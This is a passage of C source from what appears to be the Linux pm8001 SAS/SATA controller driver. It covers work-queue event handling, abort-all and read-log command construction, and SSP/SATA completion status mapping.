(void)pm8001_abort_task(t);
break; /* Task got freed by another */
}
pm8001_dev = ccb->device;
dev = pm8001_dev->sas_device;
switch (ret) {
case TMF_RESP_FUNC_SUCC: /* task on lu */
ccb->open_retry = 1; /* Snub completion */
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
ret = pm8001_abort_task(t);
ccb->open_retry = 0;
switch (ret) {
case TMF_RESP_FUNC_SUCC:
case TMF_RESP_FUNC_COMPLETE:
break;
default: /* device misbehavior */
ret = TMF_RESP_FUNC_FAILED;
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("...Reset phy\n"));
pm8001_I_T_nexus_reset(dev);
break;
}
break;
case TMF_RESP_FUNC_COMPLETE: /* task not on lu */
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
/* Do we need to abort the task locally? */
break;
default: /* device misbehavior */
spin_unlock_irqrestore(&pm8001_ha->lock, flags);
ret = TMF_RESP_FUNC_FAILED;
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("...Reset phy\n"));
pm8001_I_T_nexus_reset(dev);
}
if (ret == TMF_RESP_FUNC_FAILED)
t = NULL;
pm8001_open_reject_retry(pm8001_ha, t, pm8001_dev);
PM8001_IO_DBG(pm8001_ha, pm8001_printk("...Complete\n"));
} break;
case IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS:
dev = pm8001_dev->sas_device;
pm8001_I_T_nexus_event_handler(dev);
break;
case IO_OPEN_CNX_ERROR_STP_RESOURCES_BUSY:
dev = pm8001_dev->sas_device;
pm8001_I_T_nexus_reset(dev);
break;
case IO_DS_IN_ERROR:
dev = pm8001_dev->sas_device;
pm8001_I_T_nexus_reset(dev);
break;
case IO_DS_NON_OPERATIONAL:
dev = pm8001_dev->sas_device;
pm8001_I_T_nexus_reset(dev);
break;
}
kfree(pw);
}
int pm8001_handle_event(struct pm8001_hba_info *pm8001_ha, void *data,
int handler)
{
struct pm8001_work *pw;
int ret = 0;
pw = kmalloc(sizeof(struct pm8001_work), GFP_ATOMIC);
if (pw) {
pw->pm8001_ha = pm8001_ha;
pw->data = data;
pw->handler = handler;
INIT_WORK(&pw->work, pm8001_work_fn);
queue_work(pm8001_wq, &pw->work);
} else
ret = -ENOMEM;
return ret;
}
static void pm8001_send_abort_all(struct pm8001_hba_info *pm8001_ha,
struct pm8001_device *pm8001_ha_dev)
{
int res;
u32 ccb_tag;
struct pm8001_ccb_info *ccb;
struct sas_task *task = NULL;
struct task_abort_req task_abort;
struct inbound_queue_table *circularQ;
u32 opc = OPC_INB_SATA_ABORT;
int ret;
if (!pm8001_ha_dev) {
PM8001_FAIL_DBG(pm8001_ha, pm8001_printk("dev is null\n"));
return;
}
task = sas_alloc_slow_task(GFP_ATOMIC);
if (!task) {
PM8001_FAIL_DBG(pm8001_ha, pm8001_printk("cannot "
"allocate task\n"));
return;
}
task->task_done = pm8001_task_done;
res = pm8001_tag_alloc(pm8001_ha, &ccb_tag);
if (res)
return;
ccb = &pm8001_ha->ccb_info[ccb_tag];
ccb->device = pm8001_ha_dev;
ccb->ccb_tag = ccb_tag;
ccb->task = task;
circularQ = &pm8001_ha->inbnd_q_tbl[0];
memset(&task_abort, 0, sizeof(task_abort));
task_abort.abort_all = cpu_to_le32(1);
task_abort.device_id = cpu_to_le32(pm8001_ha_dev->device_id);
task_abort.tag = cpu_to_le32(ccb_tag);
ret = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &task_abort, 0);
if (ret)
pm8001_tag_free(pm8001_ha, ccb_tag);
}
static void pm8001_send_read_log(struct pm8001_hba_info *pm8001_ha,
struct pm8001_device *pm8001_ha_dev)
{
struct sata_start_req sata_cmd;
int res;
u32 ccb_tag;
struct pm8001_ccb_info *ccb;
struct sas_task *task = NULL;
struct host_to_dev_fis fis;
struct domain_device *dev;
struct inbound_queue_table *circularQ;
u32 opc = OPC_INB_SATA_HOST_OPSTART;
task = sas_alloc_slow_task(GFP_ATOMIC);
if (!task) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("cannot allocate task !!!\n"));
return;
}
task->task_done = pm8001_task_done;
res = pm8001_tag_alloc(pm8001_ha, &ccb_tag);
if (res) {
sas_free_task(task);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("cannot allocate tag !!!\n"));
return;
}
/* allocate domain device by ourselves as libsas
* is not going to provide any
*/
dev = kzalloc(sizeof(struct domain_device), GFP_ATOMIC);
if (!dev) {
sas_free_task(task);
pm8001_tag_free(pm8001_ha, ccb_tag);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("Domain device cannot be allocated\n"));
return;
}
task->dev = dev;
task->dev->lldd_dev = pm8001_ha_dev;
ccb = &pm8001_ha->ccb_info[ccb_tag];
ccb->device = pm8001_ha_dev;
ccb->ccb_tag = ccb_tag;
ccb->task = task;
pm8001_ha_dev->id |= NCQ_READ_LOG_FLAG;
pm8001_ha_dev->id |= NCQ_2ND_RLE_FLAG;
memset(&sata_cmd, 0, sizeof(sata_cmd));
circularQ = &pm8001_ha->inbnd_q_tbl[0];
/* construct read log FIS */
memset(&fis, 0, sizeof(struct host_to_dev_fis));
fis.fis_type = 0x27;
fis.flags = 0x80;
fis.command = ATA_CMD_READ_LOG_EXT;
fis.lbal = 0x10;
fis.sector_count = 0x1;
sata_cmd.tag = cpu_to_le32(ccb_tag);
sata_cmd.device_id = cpu_to_le32(pm8001_ha_dev->device_id);
sata_cmd.ncqtag_atap_dir_m |= ((0x1 << 7) | (0x5 << 9));
memcpy(&sata_cmd.sata_fis, &fis, sizeof(struct host_to_dev_fis));
res = pm8001_mpi_build_cmd(pm8001_ha, circularQ, opc, &sata_cmd, 0);
if (res) {
sas_free_task(task);
pm8001_tag_free(pm8001_ha, ccb_tag);
kfree(dev);
}
}
/**
* mpi_ssp_completion- process the event that FW response to the SSP request.
* @pm8001_ha: our hba card information
* @piomb: the message contents of this outbound message.
*
* When FW has completed a ssp request for example a IO request, after it has
* filled the SG data with the data, it will trigger this event represent
* that he has finished the job,please check the coresponding buffer.
* So we will tell the caller who maybe waiting the result to tell upper layer
* that the task has been finished.
*/
static void
mpi_ssp_completion(struct pm8001_hba_info *pm8001_ha , void *piomb)
{
struct sas_task *t;
struct pm8001_ccb_info *ccb;
unsigned long flags;
u32 status;
u32 param;
u32 tag;
struct ssp_completion_resp *psspPayload;
struct task_status_struct *ts;
struct ssp_response_iu *iu;
struct pm8001_device *pm8001_dev;
psspPayload = (struct ssp_completion_resp *)(piomb + 4);
status = le32_to_cpu(psspPayload->status);
tag = le32_to_cpu(psspPayload->tag);
ccb = &pm8001_ha->ccb_info[tag];
if ((status == IO_ABORTED) && ccb->open_retry) {
/* Being completed by another */
ccb->open_retry = 0;
return;
}
pm8001_dev = ccb->device;
param = le32_to_cpu(psspPayload->param);
t = ccb->task;
if (status && status != IO_UNDERFLOW)
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("sas IO status 0x%x\n", status));
if (unlikely(!t || !t->lldd_task || !t->dev))
return;
ts = &t->task_status;
/* Print sas address of IO failed device */
if ((status != IO_SUCCESS) && (status != IO_OVERFLOW) &&
(status != IO_UNDERFLOW))
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SAS Address of IO Failure Drive:"
"%016llx", SAS_ADDR(t->dev->sas_addr)));
switch (status) {
case IO_SUCCESS:
PM8001_IO_DBG(pm8001_ha, pm8001_printk("IO_SUCCESS"
",param = %d\n", param));
if (param == 0) {
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAM_STAT_GOOD;
} else {
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_PROTO_RESPONSE;
ts->residual = param;
iu = &psspPayload->ssp_resp_iu;
sas_ssp_task_response(pm8001_ha->dev, t, iu);
}
if (pm8001_dev)
pm8001_dev->running_req--;
break;
case IO_ABORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_ABORTED IOMB Tag\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_ABORTED_TASK;
break;
case IO_UNDERFLOW:
/* SSP Completion with error */
PM8001_IO_DBG(pm8001_ha, pm8001_printk("IO_UNDERFLOW"
",param = %d\n", param));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_UNDERRUN;
ts->residual = param;
if (pm8001_dev)
pm8001_dev->running_req--;
break;
case IO_NO_DEVICE:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_NO_DEVICE\n"));
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_PHY_DOWN;
break;
case IO_XFER_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_BREAK\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
/* Force the midlayer to retry */
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_XFER_ERROR_PHY_NOT_READY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_PHY_NOT_READY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_OPEN_CNX_ERROR_PROTOCOL_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_PROTOCOL_NOT_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_EPROTO;
break;
case IO_OPEN_CNX_ERROR_ZONE_VIOLATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_ZONE_VIOLATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_UNKNOWN;
break;
case IO_OPEN_CNX_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BREAK\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_UNKNOWN;
if (!t->uldd_task)
pm8001_handle_event(pm8001_ha,
pm8001_dev,
IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS);
break;
case IO_OPEN_CNX_ERROR_BAD_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BAD_DESTINATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_BAD_DEST;
break;
case IO_OPEN_CNX_ERROR_CONNECTION_RATE_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_CONNECTION_RATE_"
"NOT_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_CONN_RATE;
break;
case IO_OPEN_CNX_ERROR_WRONG_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_WRONG_DESTINATION\n"));
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_WRONG_DEST;
break;
case IO_XFER_ERROR_NAK_RECEIVED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_NAK_RECEIVED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_XFER_ERROR_ACK_NAK_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_ACK_NAK_TIMEOUT\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_NAK_R_ERR;
break;
case IO_XFER_ERROR_DMA:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_DMA\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
break;
case IO_XFER_OPEN_RETRY_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_OPEN_RETRY_TIMEOUT\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_XFER_ERROR_OFFSET_MISMATCH:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_OFFSET_MISMATCH\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
break;
case IO_PORT_IN_RESET:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_PORT_IN_RESET\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
break;
case IO_DS_NON_OPERATIONAL:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_DS_NON_OPERATIONAL\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
if (!t->uldd_task)
pm8001_handle_event(pm8001_ha,
pm8001_dev,
IO_DS_NON_OPERATIONAL);
break;
case IO_DS_IN_RECOVERY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_DS_IN_RECOVERY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
break;
case IO_TM_TAG_NOT_FOUND:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_TM_TAG_NOT_FOUND\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
break;
case IO_SSP_EXT_IU_ZERO_LEN_ERROR:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_SSP_EXT_IU_ZERO_LEN_ERROR\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
break;
case IO_OPEN_CNX_ERROR_HW_RESOURCE_BUSY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_HW_RESOURCE_BUSY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
default:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("Unknown status 0x%x\n", status));
/* not allowed case. Therefore, return failed status */
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
break;
}
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("scsi_status = %x\n ",
psspPayload->ssp_resp_iu.status));
spin_lock_irqsave(&t->task_state_lock, flags);
t->task_state_flags &= ~SAS_TASK_STATE_PENDING;
t->task_state_flags &= ~SAS_TASK_AT_INITIATOR;
t->task_state_flags |= SAS_TASK_STATE_DONE;
if (unlikely((t->task_state_flags & SAS_TASK_STATE_ABORTED))) {
spin_unlock_irqrestore(&t->task_state_lock, flags);
PM8001_FAIL_DBG(pm8001_ha, pm8001_printk("task 0x%p done with"
" io_status 0x%x resp 0x%x "
"stat 0x%x but aborted by upper layer!\n",
t, status, ts->resp, ts->stat));
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
} else {
spin_unlock_irqrestore(&t->task_state_lock, flags);
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
mb();/* in order to force CPU ordering */
t->task_done(t);
}
}
/*See the comments for mpi_ssp_completion */
static void mpi_ssp_event(struct pm8001_hba_info *pm8001_ha , void *piomb)
{
struct sas_task *t;
unsigned long flags;
struct task_status_struct *ts;
struct pm8001_ccb_info *ccb;
struct pm8001_device *pm8001_dev;
struct ssp_event_resp *psspPayload =
(struct ssp_event_resp *)(piomb + 4);
u32 event = le32_to_cpu(psspPayload->event);
u32 tag = le32_to_cpu(psspPayload->tag);
u32 port_id = le32_to_cpu(psspPayload->port_id);
u32 dev_id = le32_to_cpu(psspPayload->device_id);
ccb = &pm8001_ha->ccb_info[tag];
t = ccb->task;
pm8001_dev = ccb->device;
if (event)
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("sas IO status 0x%x\n", event));
if (unlikely(!t || !t->lldd_task || !t->dev))
return;
ts = &t->task_status;
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("port_id = %x,device_id = %x\n",
port_id, dev_id));
switch (event) {
case IO_OVERFLOW:
PM8001_IO_DBG(pm8001_ha, pm8001_printk("IO_UNDERFLOW\n");)
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
ts->residual = 0;
if (pm8001_dev)
pm8001_dev->running_req--;
break;
case IO_XFER_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_BREAK\n"));
pm8001_handle_event(pm8001_ha, t, IO_XFER_ERROR_BREAK);
return;
case IO_XFER_ERROR_PHY_NOT_READY:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_PHY_NOT_READY\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_OPEN_CNX_ERROR_PROTOCOL_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_PROTOCOL_NOT"
"_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_EPROTO;
break;
case IO_OPEN_CNX_ERROR_ZONE_VIOLATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_ZONE_VIOLATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_UNKNOWN;
break;
case IO_OPEN_CNX_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BREAK\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_UNKNOWN;
if (!t->uldd_task)
pm8001_handle_event(pm8001_ha,
pm8001_dev,
IO_OPEN_CNX_ERROR_IT_NEXUS_LOSS);
break;
case IO_OPEN_CNX_ERROR_BAD_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_BAD_DESTINATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_BAD_DEST;
break;
case IO_OPEN_CNX_ERROR_CONNECTION_RATE_NOT_SUPPORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_CONNECTION_RATE_"
"NOT_SUPPORTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_CONN_RATE;
break;
case IO_OPEN_CNX_ERROR_WRONG_DESTINATION:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_OPEN_CNX_ERROR_WRONG_DESTINATION\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_WRONG_DEST;
break;
case IO_XFER_ERROR_NAK_RECEIVED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_NAK_RECEIVED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_OPEN_REJECT;
ts->open_rej_reason = SAS_OREJ_RSVD_RETRY;
break;
case IO_XFER_ERROR_ACK_NAK_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_ACK_NAK_TIMEOUT\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_NAK_R_ERR;
break;
case IO_XFER_OPEN_RETRY_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_OPEN_RETRY_TIMEOUT\n"));
pm8001_handle_event(pm8001_ha, t, IO_XFER_OPEN_RETRY_TIMEOUT);
return;
case IO_XFER_ERROR_UNEXPECTED_PHASE:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_UNEXPECTED_PHASE\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
break;
case IO_XFER_ERROR_XFER_RDY_OVERRUN:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_XFER_RDY_OVERRUN\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
break;
case IO_XFER_ERROR_XFER_RDY_NOT_EXPECTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_XFER_RDY_NOT_EXPECTED\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
break;
case IO_XFER_ERROR_CMD_ISSUE_ACK_NAK_TIMEOUT:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_CMD_ISSUE_ACK_NAK_TIMEOUT\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
break;
case IO_XFER_ERROR_OFFSET_MISMATCH:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_OFFSET_MISMATCH\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
break;
case IO_XFER_ERROR_XFER_ZERO_DATA_LEN:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_XFER_ZERO_DATA_LEN\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
break;
case IO_XFER_CMD_FRAME_ISSUED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk(" IO_XFER_CMD_FRAME_ISSUED\n"));
return;
default:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("Unknown status 0x%x\n", event));
/* not allowed case. Therefore, return failed status */
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_OVERRUN;
break;
}
spin_lock_irqsave(&t->task_state_lock, flags);
t->task_state_flags &= ~SAS_TASK_STATE_PENDING;
t->task_state_flags &= ~SAS_TASK_AT_INITIATOR;
t->task_state_flags |= SAS_TASK_STATE_DONE;
if (unlikely((t->task_state_flags & SAS_TASK_STATE_ABORTED))) {
spin_unlock_irqrestore(&t->task_state_lock, flags);
PM8001_FAIL_DBG(pm8001_ha, pm8001_printk("task 0x%p done with"
" event 0x%x resp 0x%x "
"stat 0x%x but aborted by upper layer!\n",
t, event, ts->resp, ts->stat));
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
} else {
spin_unlock_irqrestore(&t->task_state_lock, flags);
pm8001_ccb_task_free(pm8001_ha, t, ccb, tag);
mb();/* in order to force CPU ordering */
t->task_done(t);
}
}
/*See the comments for mpi_ssp_completion */
static void
mpi_sata_completion(struct pm8001_hba_info *pm8001_ha, void *piomb)
{
struct sas_task *t;
struct pm8001_ccb_info *ccb;
u32 param;
u32 status;
u32 tag;
int i, j;
u8 sata_addr_low[4];
u32 temp_sata_addr_low;
u8 sata_addr_hi[4];
u32 temp_sata_addr_hi;
struct sata_completion_resp *psataPayload;
struct task_status_struct *ts;
struct ata_task_resp *resp ;
u32 *sata_resp;
struct pm8001_device *pm8001_dev;
unsigned long flags;
psataPayload = (struct sata_completion_resp *)(piomb + 4);
status = le32_to_cpu(psataPayload->status);
tag = le32_to_cpu(psataPayload->tag);
if (!tag) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("tag null\n"));
return;
}
ccb = &pm8001_ha->ccb_info[tag];
param = le32_to_cpu(psataPayload->param);
if (ccb) {
t = ccb->task;
pm8001_dev = ccb->device;
} else {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("ccb null\n"));
return;
}
if (t) {
if (t->dev && (t->dev->lldd_dev))
pm8001_dev = t->dev->lldd_dev;
} else {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("task null\n"));
return;
}
if ((pm8001_dev && !(pm8001_dev->id & NCQ_READ_LOG_FLAG))
&& unlikely(!t || !t->lldd_task || !t->dev)) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("task or dev null\n"));
return;
}
ts = &t->task_status;
if (!ts) {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("ts null\n"));
return;
}
/* Print sas address of IO failed device */
if ((status != IO_SUCCESS) && (status != IO_OVERFLOW) &&
(status != IO_UNDERFLOW)) {
if (!((t->dev->parent) &&
(DEV_IS_EXPANDER(t->dev->parent->dev_type)))) {
for (i = 0 , j = 4; j <= 7 && i <= 3; i++ , j++)
sata_addr_low[i] = pm8001_ha->sas_addr[j];
for (i = 0 , j = 0; j <= 3 && i <= 3; i++ , j++)
sata_addr_hi[i] = pm8001_ha->sas_addr[j];
memcpy(&temp_sata_addr_low, sata_addr_low,
sizeof(sata_addr_low));
memcpy(&temp_sata_addr_hi, sata_addr_hi,
sizeof(sata_addr_hi));
temp_sata_addr_hi = (((temp_sata_addr_hi >> 24) & 0xff)
|((temp_sata_addr_hi << 8) &
0xff0000) |
((temp_sata_addr_hi >> 8)
& 0xff00) |
((temp_sata_addr_hi << 24) &
0xff000000));
temp_sata_addr_low = ((((temp_sata_addr_low >> 24)
& 0xff) |
((temp_sata_addr_low << 8)
& 0xff0000) |
((temp_sata_addr_low >> 8)
& 0xff00) |
((temp_sata_addr_low << 24)
& 0xff000000)) +
pm8001_dev->attached_phy +
0x10);
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SAS Address of IO Failure Drive:"
"%08x%08x", temp_sata_addr_hi,
temp_sata_addr_low));
} else {
PM8001_FAIL_DBG(pm8001_ha,
pm8001_printk("SAS Address of IO Failure Drive:"
"%016llx", SAS_ADDR(t->dev->sas_addr)));
}
}
switch (status) {
case IO_SUCCESS:
PM8001_IO_DBG(pm8001_ha, pm8001_printk("IO_SUCCESS\n"));
if (param == 0) {
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAM_STAT_GOOD;
/* check if response is for SEND READ LOG */
if (pm8001_dev &&
(pm8001_dev->id & NCQ_READ_LOG_FLAG)) {
/* set new bit for abort_all */
pm8001_dev->id |= NCQ_ABORT_ALL_FLAG;
/* clear bit for read log */
pm8001_dev->id = pm8001_dev->id & 0x7FFFFFFF;
pm8001_send_abort_all(pm8001_ha, pm8001_dev);
/* Free the tag */
pm8001_tag_free(pm8001_ha, tag);
sas_free_task(t);
return;
}
} else {
u8 len;
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_PROTO_RESPONSE;
ts->residual = param;
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("SAS_PROTO_RESPONSE len = %d\n",
param));
sata_resp = &psataPayload->sata_resp[0];
resp = (struct ata_task_resp *)ts->buf;
if (t->ata_task.dma_xfer == 0 &&
t->data_dir == PCI_DMA_FROMDEVICE) {
len = sizeof(struct pio_setup_fis);
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("PIO read len = %d\n", len));
} else if (t->ata_task.use_ncq) {
len = sizeof(struct set_dev_bits_fis);
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("FPDMA len = %d\n", len));
} else {
len = sizeof(struct dev_to_host_fis);
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("other len = %d\n", len));
}
if (SAS_STATUS_BUF_SIZE >= sizeof(*resp)) {
resp->frame_len = len;
memcpy(&resp->ending_fis[0], sata_resp, len);
ts->buf_valid_size = sizeof(*resp);
} else
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("response to large\n"));
}
if (pm8001_dev)
pm8001_dev->running_req--;
break;
case IO_ABORTED:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_ABORTED IOMB Tag\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_ABORTED_TASK;
if (pm8001_dev)
pm8001_dev->running_req--;
break;
/* following cases are to do cases */
case IO_UNDERFLOW:
/* SATA Completion with error */
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_UNDERFLOW param = %d\n", param));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_DATA_UNDERRUN;
ts->residual = param;
if (pm8001_dev)
pm8001_dev->running_req--;
break;
case IO_NO_DEVICE:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_NO_DEVICE\n"));
ts->resp = SAS_TASK_UNDELIVERED;
ts->stat = SAS_PHY_DOWN;
break;
case IO_XFER_ERROR_BREAK:
PM8001_IO_DBG(pm8001_ha,
pm8001_printk("IO_XFER_ERROR_BREAK\n"));
ts->resp = SAS_TASK_COMPLETE;
ts->stat = SAS_INTERRUPTED;
break;
